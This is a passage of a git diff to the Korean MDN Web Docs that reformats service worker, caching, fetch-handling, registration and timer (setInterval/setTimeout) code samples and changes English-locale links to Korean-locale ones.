 > **참고:** The Cache API is not supported in every browser. (See the [Browser support](#browser_support) section for more information.) If you want to use this now, you could consider using a polyfill like the one available in [Google's Topeka demo](https://github.com/Polymer/topeka/blob/master/sw.js), or perhaps store your assets in [IndexedDB](/ko/docs/Web/API/IndexedDB_API).
 
-Let’s start this section by looking at a code sample — this is the [first block you’ll find in our service worker](https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18):
+Let's start this section by looking at a code sample — this is the [first block you'll find in our service worker](https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18):
 
 ```js
-this.addEventListener('install', function(event) {
+this.addEventListener("install", function (event) {
   event.waitUntil(
-    caches.open('v1').then(function(cache) {
+    caches.open("v1").then(function (cache) {
       return cache.addAll([
-        '/sw-test/',
-        '/sw-test/index.html',
-        '/sw-test/style.css',
-        '/sw-test/app.js',
-        '/sw-test/image-list.js',
-        '/sw-test/star-wars-logo.jpg',
-        '/sw-test/gallery/',
-        '/sw-test/gallery/bountyHunters.jpg',
-        '/sw-test/gallery/myLittleVader.jpg',
-        '/sw-test/gallery/snowTroopers.jpg'
+        "/sw-test/",
+        "/sw-test/index.html",
+        "/sw-test/style.css",
+        "/sw-test/app.js",
+        "/sw-test/image-list.js",
+        "/sw-test/star-wars-logo.jpg",
+        "/sw-test/gallery/",
+        "/sw-test/gallery/bountyHunters.jpg",
+        "/sw-test/gallery/myLittleVader.jpg",
+        "/sw-test/gallery/snowTroopers.jpg",
       ]);
-    })
+    }),
   );
 });
 ```
 
 1. Here we add an `install` event listener to the service worker (hence `this`), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside `waitUntil()` has successfully occurred.
 2. Inside `waitUntil()` we use the [`caches.open()`](/ko/docs/Web/API/CacheStorage/open) method to create a new cache called `v1`, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls `addAll()` on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.
-3. If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.
-4. After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the [Updating your service worker](#updating_your_service_worker) section later on.)
+3. If the promise is rejected, the install fails, and the worker won't do anything. This is ok, as you can fix your code and then try again the next time registration occurs.
+4. After a successful installation, the service worker activates. This doesn't have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the [Updating your service worker](#updating_your_service_worker) section later on.)
 
 > **참고:** [localStorage](/ko/docs/Web/Guide/API/DOM/Storage) works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.
 
@@ -240,7 +251,7 @@ this.addEventListener('install', function(event) {
 
 ### Custom responses to requests
 
-Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the `fetch` event.
+Now you've got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the `fetch` event.
 
 ![](sw-fetch.png)
 
@@ -249,74 +260,76 @@ A `fetch` event fires every time any resource controlled by a service worker is
 You can attach a `fetch` event listener to the service worker, then call the `respondWith()` method on the event to hijack our HTTP responses and update them with your own magic.
 
 ```js
-this.addEventListener('fetch', function(event) {
-  event.respondWith(
+this.addEventListener("fetch", function (event) {
+  event
+    .respondWith
     // magic goes here
-  );
+    ();
 });
 ```
 
 We could start by simply responding with the resource whose url matches that of the network request, in each case:
 
 ```js
-this.addEventListener('fetch', function(event) {
-  event.respondWith(
-    caches.match(event.request)
-  );
+this.addEventListener("fetch", function (event) {
+  event.respondWith(caches.match(event.request));
 });
 ```
 
 `caches.match(event.request)` allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.
 
-Let’s look at a few other options we have when defining our magic (see our [Fetch API documentation](/ko/docs/Web/API/Fetch_API) for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)
+Let's look at a few other options we have when defining our magic (see our [Fetch API documentation](/ko/docs/Web/API/Fetch_API) for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)
 
 1. The `{{domxref("Response.Response","Response()")}}` constructor allows you to create a custom response. In this case, we are just returning a simple text string:
 
-    ```js
-    new Response('Hello from your friendly neighbourhood service worker!');
-    ```
+   ```js
+   new Response("Hello from your friendly neighbourhood service worker!");
+   ```
 
 2. This more complex `Response` below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:
 
-    ```js
-    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
-      headers: { 'Content-Type': 'text/html' }
-    });
-    ```
+   ```js
+   new Response(
+     "<p>Hello from your friendly neighbourhood service worker!</p>",
+     {
+       headers: { "Content-Type": "text/html" },
+     },
+   );
+   ```
 
-3. If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:
+3. If a match wasn't found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:
 
-    ```js
-    fetch(event.request);
-    ```
+   ```js
+   fetch(event.request);
+   ```
 
-4. If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:
+4. If a match wasn't found in the cache, and the network isn't available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:
 
-    ```js
-    caches.match('/fallback.html');
-    ```
+   ```js
+   caches.match("/fallback.html");
+   ```
 
 5. You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:
 
-    ```js
-    event.request.url
-    event.request.method
-    event.request.headers
-    event.request.body
-    ```
+   ```js
+   event.request.url;
+   event.request.method;
+   event.request.headers;
+   event.request.body;
+   ```
 
 ## Recovering failed requests
 
-So `caches.match(event.request)` is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with `undefined` and we wouldn't get anything returned.
+So `caches.match(event.request)` is great when there is a match in the service worker cache, but what about cases when there isn't a match? If we didn't provide any kind of failure handling, our promise would resolve with `undefined` and we wouldn't get anything returned.
 
-Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:
+Fortunately service workers' promise-based structure makes it trivial to provide further options towards success. We could do this:
 
 ```js
-this.addEventListener('fetch', function(event) {
+this.addEventListener("fetch", function (event) {
   event.respondWith(
-    caches.match(event.request).then(function(response) {
+    caches.match(event.request).then(function (response) {
       return response || fetch(event.request);
-    })
+    }),
   );
 });
 ```
@@ -326,16 +339,19 @@ If the resources isn't in the cache, it is requested from the network.
 If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:
 
 ```js
-this.addEventListener('fetch', function(event) {
+this.addEventListener("fetch", function (event) {
   event.respondWith(
-    caches.match(event.request).then(function(resp) {
-      return resp || fetch(event.request).then(function(response) {
-        return caches.open('v1').then(function(cache) {
-          cache.put(event.request, response.clone());
-          return response;
-        });
-      });
-    })
+    caches.match(event.request).then(function (resp) {
+      return (
+        resp ||
+        fetch(event.request).then(function (response) {
+          return caches.open("v1").then(function (cache) {
+            cache.put(event.request, response.clone());
+            return response;
+          });
+        })
+      );
+    }),
   );
 });
 ```
@@ -344,21 +360,27 @@ Here we return the default network request with `return fetch(event.request)`, w
 
 Cloning the response is necessary because request and response streams can only be read once. In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache. They are each read once.
 
-The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:
+The only trouble we have now is that if the request doesn't match anything in the cache, and the network is not available, our request will still fail. Let's provide a default fallback so that whatever happens, the user will at least get something:
 
 ```js
-this.addEventListener('fetch', function(event) {
+this.addEventListener("fetch", function (event) {
   event.respondWith(
-    caches.match(event.request).then(function(resp) {
-      return resp || fetch(event.request).then(function(response) {
-        caches.open('v1').then(function(cache) {
-          cache.put(event.request, response.clone());
-        });
-        return response;
-      });
-    }).catch(function() {
-      return caches.match('/sw-test/gallery/myLittleVader.jpg');
-    })
+    caches
+      .match(event.request)
+      .then(function (resp) {
+        return (
+          resp ||
+          fetch(event.request).then(function (response) {
+            caches.open("v1").then(function (cache) {
+              cache.put(event.request, response.clone());
+            });
+            return response;
+          })
+        );
+      })
+      .catch(function () {
+        return caches.match("/sw-test/gallery/myLittleVader.jpg");
+      }),
   );
 });
 ```
@@ -369,7 +391,7 @@ We have opted for this fallback image because the only updates that are likely t
 
 If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.
 
-You’ll want to update your `install` event listener in the new service worker to something like this (notice the new version number):
+You'll want to update your `install` event listener in the new service worker to something like this (notice the new version number):
 
 ```js
 this.addEventListener('install', function(event) {
@@ -402,17 +424,19 @@ You also get an `activate` event. This is a generally used to do stuff that woul
 Promises passed into `waitUntil()` will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first `fetch` event on the new cache.
 
 ```js
-this.addEventListener('activate', function(event) {
-  var cacheWhitelist = ['v2'];
+this.addEventListener("activate", function (event) {
+  var cacheWhitelist = ["v2"];
 
   event.waitUntil(
-    caches.keys().then(function(keyList) {
-      return Promise.all(keyList.map(function(key) {
-        if (cacheWhitelist.indexOf(key) === -1) {
-          return caches.delete(key);
-        }
-      }));
-    })
+    caches.keys().then(function (keyList) {
+      return Promise.all(
+        keyList.map(function (key) {
+          if (cacheWhitelist.indexOf(key) === -1) {
+            return caches.delete(key);
+          }
+        }),
+      );
+    }),
   );
 });
 ```
@@ -423,7 +447,7 @@ Chrome has `chrome://inspect/#service-workers`, which shows current service work
 
 Firefox has also started to implement some useful tools related to service workers:
 
-- You can navigate to [`about:debugging`](/en-US/docs/Tools/about:debugging) to see what SWs are registered and update/remove them.
+- You can navigate to [`about:debugging`](/ko/docs/Tools/about:debugging) to see what SWs are registered and update/remove them.
 - When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the [Firefox Developer Tools settings](/ko/docs/Tools/Settings).
 
 > **참고:** You may serve your app from `http://localhost` (e.g. using `me@localhost:/my/app$ python -m SimpleHTTPServer`) for local development. See [Security considerations](https://www.w3.org/TR/service-workers/#security-considerations)
diff --git a/files/ko/web/api/serviceworker/index.md b/files/ko/web/api/serviceworker/index.md
index 6b48a41189590b..64add07b779c3b 100644
--- a/files/ko/web/api/serviceworker/index.md
+++ b/files/ko/web/api/serviceworker/index.md
@@ -34,33 +34,36 @@ slug: Web/API/ServiceWorker
 This code snippet is from the [service worker registration-events sample](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html) ([live demo](https://googlechrome.github.io/samples/service-worker/registration-events/)). The code listens for any change in the {{domxref("ServiceWorker.state")}} and returns its value.
 
 ```js
-if ('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('service-worker.js', {
-        scope: './'
-    }).then(function (registration) {
-        var serviceWorker;
-        if (registration.installing) {
-            serviceWorker = registration.installing;
-            document.querySelector('#kind').textContent = 'installing';
-        } else if (registration.waiting) {
-            serviceWorker = registration.waiting;
-            document.querySelector('#kind').textContent = 'waiting';
-        } else if (registration.active) {
-            serviceWorker = registration.active;
-            document.querySelector('#kind').textContent = 'active';
-        }
-        if (serviceWorker) {
-            // logState(serviceWorker.state);
-            serviceWorker.addEventListener('statechange', function (e) {
-                // logState(e.target.state);
-            });
-        }
-    }).catch (function (error) {
-        // Something went wrong during registration. The service-worker.js file
-        // might be unavailable or contain a syntax error.
+if ("serviceWorker" in navigator) {
+  navigator.serviceWorker
+    .register("service-worker.js", {
+      scope: "./",
+    })
+    .then(function (registration) {
+      var serviceWorker;
+      if (registration.installing) {
+        serviceWorker = registration.installing;
+        document.querySelector("#kind").textContent = "installing";
+      } else if (registration.waiting) {
+        serviceWorker = registration.waiting;
+        document.querySelector("#kind").textContent = "waiting";
+      } else if (registration.active) {
+        serviceWorker = registration.active;
+        document.querySelector("#kind").textContent = "active";
+      }
+      if (serviceWorker) {
+        // logState(serviceWorker.state);
+        serviceWorker.addEventListener("statechange", function (e) {
+          // logState(e.target.state);
+        });
+      }
+    })
+    .catch(function (error) {
+      // Something went wrong during registration. The service-worker.js file
+      // might be unavailable or contain a syntax error.
     });
 } else {
-    // The current browser doesn't support service workers.
+  // The current browser doesn't support service workers.
 }
 ```
 
diff --git a/files/ko/web/api/serviceworker/statechange_event/index.md b/files/ko/web/api/serviceworker/statechange_event/index.md
index 7c479fba927bf1..7149d0f778dd65 100644
--- a/files/ko/web/api/serviceworker/statechange_event/index.md
+++ b/files/ko/web/api/serviceworker/statechange_event/index.md
@@ -23,19 +23,19 @@ ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... }
 var serviceWorker;
 if (registration.installing) {
   serviceWorker = registration.installing;
-  document.querySelector('#kind').textContent = 'installing';
+  document.querySelector("#kind").textContent = "installing";
 } else if (registration.waiting) {
   serviceWorker = registration.waiting;
-  document.querySelector('#kind').textContent = 'waiting';
+  document.querySelector("#kind").textContent = "waiting";
 } else if (registration.active) {
   serviceWorker = registration.active;
-  document.querySelector('#kind').textContent = 'active';
+  document.querySelector("#kind").textContent = "active";
 }
 
 if (serviceWorker) {
   logState(serviceWorker.state);
-  serviceWorker.addEventListener('statechange', function(e) {
-  logState(e.target.state);
+  serviceWorker.addEventListener("statechange", function (e) {
+    logState(e.target.state);
   });
 }
 ```
diff --git a/files/ko/web/api/serviceworkerglobalscope/clients/index.md b/files/ko/web/api/serviceworkerglobalscope/clients/index.md
index bf7f5951d29d00..c4a9d9e1bd6b3a 100644
--- a/files/ko/web/api/serviceworkerglobalscope/clients/index.md
+++ b/files/ko/web/api/serviceworkerglobalscope/clients/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ServiceWorkerGlobalScope/clients
 ## Syntax
 
 ```js
-swClients = self.clients
+swClients = self.clients;
 ```
 
 ### Value
diff --git a/files/ko/web/api/serviceworkerglobalscope/index.md b/files/ko/web/api/serviceworkerglobalscope/index.md
index bba62554d98055..d918b2218b618c 100644
--- a/files/ko/web/api/serviceworkerglobalscope/index.md
+++ b/files/ko/web/api/serviceworkerglobalscope/index.md
@@ -7,7 +7,7 @@ l10n:
 
 {{APIRef("Service Workers API")}}
 
-The **`ServiceWorkerGlobalScope`** interface of the [Service Worker API](/en-US/docs/Web/API/Service_Worker_API) represents the global execution context of a service worker.
+The **`ServiceWorkerGlobalScope`** interface of the [Service Worker API](/ko/docs/Web/API/Service_Worker_API) represents the global execution context of a service worker.
 
 Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.
 
@@ -49,7 +49,7 @@ _This interface inherits properties from the {{domxref("WorkerGlobalScope")}} in
 - {{domxref("performance_property", "ServiceWorkerGlobalScope.performance")}} {{ReadOnlyInline}}
   - : Returns the {{domxref("Performance")}} object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available.
 - {{domxref("Window.scheduler", "ServiceWorkerGlobalScope.scheduler")}} {{ReadOnlyInline}}
-  - : Returns the {{domxref("Scheduler")}} object associated with the current context. This is the entry point for using the [Prioritized Task Scheduling API](/en-US/docs/Web/API/Prioritized_Task_Scheduling_API).
+  - : Returns the {{domxref("Scheduler")}} object associated with the current context. This is the entry point for using the [Prioritized Task Scheduling API](/ko/docs/Web/API/Prioritized_Task_Scheduling_API).
 - {{domxref("WorkerGlobalScope.self", "ServiceWorkerGlobalScope.self")}}
   - : Returns an object reference to the `ServiceWorkerGlobalScope` object itself.
 
@@ -88,13 +88,13 @@ _This interface inherits methods from the {{domxref("WorkerGlobalScope")}} inter
 - {{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}}
   - : Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.
 - {{domxref("ServiceWorkerGlobalScope/backgroundfetchabort_event", "backgroundfetchabort")}} {{Experimental_Inline}}
-  - : Fired when a [background fetch](/en-US/docs/Web/API/Background_Fetch_API) operation has been canceled by the user or the app.
+  - : Fired when a [background fetch](/ko/docs/Web/API/Background_Fetch_API) operation has been canceled by the user or the app.
 - {{domxref("ServiceWorkerGlobalScope/backgroundfetchclick_event", "backgroundfetchclick")}} {{Experimental_Inline}}
-  - : Fired when the user has clicked on the UI for a [background fetch](/en-US/docs/Web/API/Background_Fetch_API) operation.
+  - : Fired when the user has clicked on the UI for a [background fetch](/ko/docs/Web/API/Background_Fetch_API) operation.
 - {{domxref("ServiceWorkerGlobalScope/backgroundfetchfail_event", "backgroundfetchfail")}} {{Experimental_Inline}}
-  - : Fired when at least one of the requests in a [background fetch](/en-US/docs/Web/API/Background_Fetch_API) operation has failed.
+  - : Fired when at least one of the requests in a [background fetch](/ko/docs/Web/API/Background_Fetch_API) operation has failed.
 - {{domxref("ServiceWorkerGlobalScope/backgroundfetchsuccess_event", "backgroundfetchsuccess")}} {{Experimental_Inline}}
-  - : Fired when all of the requests in a [background fetch](/en-US/docs/Web/API/Background_Fetch_API) operation have succeeded.
+  - : Fired when all of the requests in a [background fetch](/ko/docs/Web/API/Background_Fetch_API) operation have succeeded.
 - {{domxref("ServiceWorkerGlobalScope.canmakepayment_event", "canmakepayment")}} {{Experimental_Inline}}
   - : Fired on a payment app's service worker to check whether it is ready to handle a payment. Specifically, it is fired when the merchant website calls {{domxref("PaymentRequest.PaymentRequest", "new PaymentRequest()")}}.
 - {{domxref("ServiceWorkerGlobalScope/contentdelete_event", "contentdelete")}} {{Experimental_Inline}}
@@ -149,9 +149,9 @@ self.addEventListener("fetch", (event) => {
           console.error("Fetching failed:", error);
 
           throw error;
-        }
+        },
       );
-    })
+    }),
   );
 });
 ```
@@ -166,7 +166,7 @@ self.addEventListener("fetch", (event) => {
 
 ## See also
 
-- [Using Service Workers](/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers)
+- [Using Service Workers](/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers)
 - [Service workers basic code example](https://github.com/mdn/dom-examples/tree/main/service-worker/simple-service-worker)
 - [Is ServiceWorker ready?](https://jakearchibald.github.io/isserviceworkerready/)
 - {{jsxref("Promise")}}
diff --git a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.md b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.md
index b594bbc6bb540e..2296fe8d1cfa78 100644
--- a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.md
+++ b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.md
@@ -1,62 +1,67 @@
 ---
-title: 'ServiceWorkerGlobalScope: notificationclick event'
+title: "ServiceWorkerGlobalScope: notificationclick event"
 slug: Web/API/ServiceWorkerGlobalScope/notificationclick_event
 ---
+
 {{APIRef}}
 
 `notificationclick` 이벤트는 {{domxref("ServiceWorkerRegistration.showNotification()")}} 에 의해 발생한 시스템 notification 이 클릭되었음을 나타내기 위해 발생된다.
 
-|               | No                                                                                        |
-| ------------- | ----------------------------------------------------------------------------------------- |
-| Cancelable    | No                                                                                        |
-| Interface     | {{domxref("NotificationEvent")}}                                              |
-| Event handler | [`onnotificationclick`](/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick) |
+|               | No                                                                                     |
+| ------------- | -------------------------------------------------------------------------------------- |
+| Cancelable    | No                                                                                     |
+| Interface     | {{domxref("NotificationEvent")}}                                                       |
+| Event handler | [`onnotificationclick`](/ko/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick) |
 
 ## Examples
 
-[`addEventListener`](/en-US/docs/Web/API/EventTarget/addEventListener) 메소드 내에서 `notificationclick` 이벤트를 사용할 수 있다:
+[`addEventListener`](/ko/docs/Web/API/EventTarget/addEventListener) 메소드 내에서 `notificationclick` 이벤트를 사용할 수 있다:
 
 ```js
-self.addEventListener('notificationclick', function(event) {
-  console.log('On notification click: ', event.notification.tag);
+self.addEventListener("notificationclick", function (event) {
+  console.log("On notification click: ", event.notification.tag);
   event.notification.close();
 
   // This looks to see if the current is already open and
   // focuses if it is
-  event.waitUntil(clients.matchAll({
-    type: "window"
-  }).then(function(clientList) {
-    for (var i = 0; i < clientList.length; i++) {
-      var client = clientList[i];
-      if (client.url == '/' && 'focus' in client)
-        return client.focus();
-    }
-    if (clients.openWindow)
-      return clients.openWindow('/');
-  }));
+  event.waitUntil(
+    clients
+      .matchAll({
+        type: "window",
+      })
+      .then(function (clientList) {
+        for (var i = 0; i < clientList.length; i++) {
+          var client = clientList[i];
+          if (client.url == "/" && "focus" in client) return client.focus();
+        }
+        if (clients.openWindow) return clients.openWindow("/");
+      }),
+  );
 });
 ```
 
-또는 [`onnotificationclick`](/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick) 이벤트 핸들러 속성을 사용할 수 있다:
+또는 [`onnotificationclick`](/ko/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick) 이벤트 핸들러 속성을 사용할 수 있다:
 
 ```js
-self.onnotificationclick = function(event) {
-  console.log('On notification click: ', event.notification.tag);
+self.onnotificationclick = function (event) {
+  console.log("On notification click: ", event.notification.tag);
   event.notification.close();
 
   // This looks to see if the current is already open and
   // focuses if it is
-  event.waitUntil(clients.matchAll({
-    type: "window"
-  }).then(function(clientList) {
-    for (var i = 0; i < clientList.length; i++) {
-      var client = clientList[i];
-      if (client.url == '/' && 'focus' in client)
-        return client.focus();
-    }
-    if (clients.openWindow)
-      return clients.openWindow('/');
-  }));
+  event.waitUntil(
+    clients
+      .matchAll({
+        type: "window",
+      })
+      .then(function (clientList) {
+        for (var i = 0; i < clientList.length; i++) {
+          var client = clientList[i];
+          if (client.url == "/" && "focus" in client) return client.focus();
+        }
+        if (clients.openWindow) return clients.openWindow("/");
+      }),
+  );
 };
 ```
 
diff --git a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.md b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.md
index c10f10b75324ce..dab98a0b6a36dd 100644
--- a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.md
+++ b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.md
@@ -2,6 +2,7 @@
 title: ServiceWorkerGlobalScope.skipWaiting()
 slug: Web/API/ServiceWorkerGlobalScope/skipWaiting
 ---
+
 {{APIRef("Service Workers API")}}
 
 {{domxref("ServiceWorkerGlobalScope")}} 의 **`ServiceWorkerGlobalScope.skipWaiting()`** 메소드는 waiting 상태의 서비스 워커를 active 상태의 서비스 워커로 변경하도록 강제한다.
@@ -11,7 +12,7 @@ slug: Web/API/ServiceWorkerGlobalScope/skipWaiting
 ## Syntax
 
 ```js
-ServiceWorkerGlobalScope.skipWaiting().then(function() {
+ServiceWorkerGlobalScope.skipWaiting().then(function () {
   //Do something
 });
 ```
@@ -27,7 +28,7 @@ ServiceWorkerGlobalScope.skipWaiting().then(function() {
 다음 예시는 active 상태의 서비스 워커가 이미 존재하는지의 여부에 관계없이, 새로 설치된 서비스 워커가 `activating` 상태로 진행되도록 한다.
 
 ```js
-self.addEventListener('install', function(event) {
+self.addEventListener("install", function (event) {
   // skipWaiting()가 반환하는 promise는 안전하게 무시될 수 있다.
   self.skipWaiting();
 
diff --git a/files/ko/web/api/serviceworkerregistration/active/index.md b/files/ko/web/api/serviceworkerregistration/active/index.md
index da821cc9d7ec28..df59fae0777b52 100644
--- a/files/ko/web/api/serviceworkerregistration/active/index.md
+++ b/files/ko/web/api/serviceworkerregistration/active/index.md
@@ -2,6 +2,7 @@
 title: ServiceWorkerRegistration.active
 slug: Web/API/ServiceWorkerRegistration/active
 ---
+
 {{SeeCompatTable}}{{APIRef("Service Workers API")}}
 
 {{domxref("ServiceWorkerRegistration")}} 인터페이스의 **`active`** 속성은 {{domxref("ServiceWorker.state")}} 가 `activating` 또는 `activated` 상태인 서비스 워커를 반환한다. 이 속성은 `null` 로 초기 설정되어 있다.
@@ -13,7 +14,7 @@ slug: Web/API/ServiceWorkerRegistration/active
 ## Syntax
 
 ```js
-sw = ServiceWorker.active
+sw = ServiceWorker.active;
 ```
 
 ### Value
diff --git a/files/ko/web/api/serviceworkerregistration/index.md b/files/ko/web/api/serviceworkerregistration/index.md
index c7718516299270..51f6c2be2ceb18 100644
--- a/files/ko/web/api/serviceworkerregistration/index.md
+++ b/files/ko/web/api/serviceworkerregistration/index.md
@@ -58,25 +58,28 @@ _Also implements methods from its parent interface,_ {{domxref("EventTarget")}}.
 In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and `updatefound` event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the `updatefound` event will not be fired.
 
 ```js
-if ('serviceWorker' in navigator) {
-  navigator.serviceWorker.register('/sw.js')
-  .then(function(registration) {
-    registration.addEventListener('updatefound', function() {
-      // If updatefound is fired, it means that there's
-      // a new service worker being installed.
-      var installingWorker = registration.installing;
-      console.log('A new service worker is being installed:',
-        installingWorker);
-
-      // You can listen for changes to the installing service worker's
-      // state via installingWorker.onstatechange
+if ("serviceWorker" in navigator) {
+  navigator.serviceWorker
+    .register("/sw.js")
+    .then(function (registration) {
+      registration.addEventListener("updatefound", function () {
+        // If updatefound is fired, it means that there's
+        // a new service worker being installed.
+        var installingWorker = registration.installing;
+        console.log(
+          "A new service worker is being installed:",
+          installingWorker,
+        );
+
+        // You can listen for changes to the installing service worker's
+        // state via installingWorker.onstatechange
+      });
+    })
+    .catch(function (error) {
+      console.log("Service worker registration failed:", error);
     });
-  })
-  .catch(function(error) {
-    console.log('Service worker registration failed:', error);
-  });
 } else {
-  console.log('Service workers are not supported.');
+  console.log("Service workers are not supported.");
 }
 ```
 
diff --git a/files/ko/web/api/serviceworkerregistration/installing/index.md b/files/ko/web/api/serviceworkerregistration/installing/index.md
index 4fd673315307e8..64b94c2314d357 100644
--- a/files/ko/web/api/serviceworkerregistration/installing/index.md
+++ b/files/ko/web/api/serviceworkerregistration/installing/index.md
@@ -12,7 +12,7 @@ slug: Web/API/ServiceWorkerRegistration/installing
 ## Syntax
 
 ```js
-sw = ServiceWorker.installing
+sw = ServiceWorker.installing;
 ```
 
 ### Value
diff --git a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.md b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.md
index dcc7adb2d4e581..de1e93eca4fef8 100644
--- a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.md
+++ b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ServiceWorkerRegistration/navigationPreload
 ## Syntax
 
 ```js
-var navigationPreloadManager = serviceWorkerRegistration.navigationPreload
+var navigationPreloadManager = serviceWorkerRegistration.navigationPreload;
 ```
 
 ### Value
diff --git a/files/ko/web/api/setinterval/index.md b/files/ko/web/api/setinterval/index.md
index 65d6986865bbf5..017cd959c5648a 100644
--- a/files/ko/web/api/setinterval/index.md
+++ b/files/ko/web/api/setinterval/index.md
@@ -61,14 +61,13 @@ setInterval(func, delay, arg0, arg1, /* … ,*/ argN)
 다음 예제는 `setInterval()`의 기본 구문을 보여줍니다.
 
 ```js
-const intervalID = setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
-
-function myCallback(a, b)
-{
- // 여기에 코드를 작성하세요
- // 매개변수는 순전히 선택적입니다.
- console.log(a);
- console.log(b);
+const intervalID = setInterval(myCallback, 500, "Parameter 1", "Parameter 2");
+
+function myCallback(a, b) {
+  // 여기에 코드를 작성하세요
+  // 매개변수는 순전히 선택적입니다.
+  console.log(a);
+  console.log(b);
 }
 ```
 
@@ -146,7 +145,7 @@ document.getElementById("stop").addEventListener("click", stopTextColor);
 다음 예제를 참조하세요(사실 문제는 두 타이머 모두 동일합니다)
 
 ```js
-myArray = ['zero', 'one', 'two'];
+myArray = ["zero", "one", "two"];
 
 myArray.myMethod = function (sProperty) {
   alert(arguments.length > 0 ? this[sProperty] : this);
@@ -210,10 +209,10 @@ interval을 취소할 수 있습니다.
 
 ```js
 (function loop() {
-   setTimeout(() => {
-      // 로직을 넣어주세요
+  setTimeout(() => {
+    // 로직을 넣어주세요
 
-      loop();
+    loop();
   }, delay);
 })();
 ```
diff --git a/files/ko/web/api/settimeout/index.md b/files/ko/web/api/settimeout/index.md
index ad8141779d567a..f718a85cd54d97 100644
--- a/files/ko/web/api/settimeout/index.md
+++ b/files/ko/web/api/settimeout/index.md
@@ -2,6 +2,7 @@
 title: setTimeout()
 slug: Web/API/setTimeout
 ---
+
 {{APIRef("HTML DOM")}}
 
 전역 **`setTimeout()`** 메서드는 만료된 후 함수나 지정한 코드 조각을 실행하는 타이머를 설정합니다.
@@ -44,9 +45,15 @@ var timeoutID = setTimeout(code[, delay]);
 다음 예제를 살펴보세요.
 
 ```js
-setTimeout(() => {console.log("첫 번째 메시지")}, 5000);
-setTimeout(() => {console.log("두 번째 메시지")}, 3000);
-setTimeout(() => {console.log("세 번째 메시지")}, 1000);
+setTimeout(() => {
+  console.log("첫 번째 메시지");
+}, 5000);
+setTimeout(() => {
+  console.log("두 번째 메시지");
+}, 3000);
+setTimeout(() => {
+  console.log("세 번째 메시지");
+}, 1000);
 
 // 콘솔 출력:
 
@@ -69,20 +76,20 @@ setTimeout(() => {console.log("세 번째 메시지")}, 1000);
 다음 코드를 살펴보세요.
 
 ```js
-const myArray = ['zero', 'one', 'two'];
+const myArray = ["zero", "one", "two"];
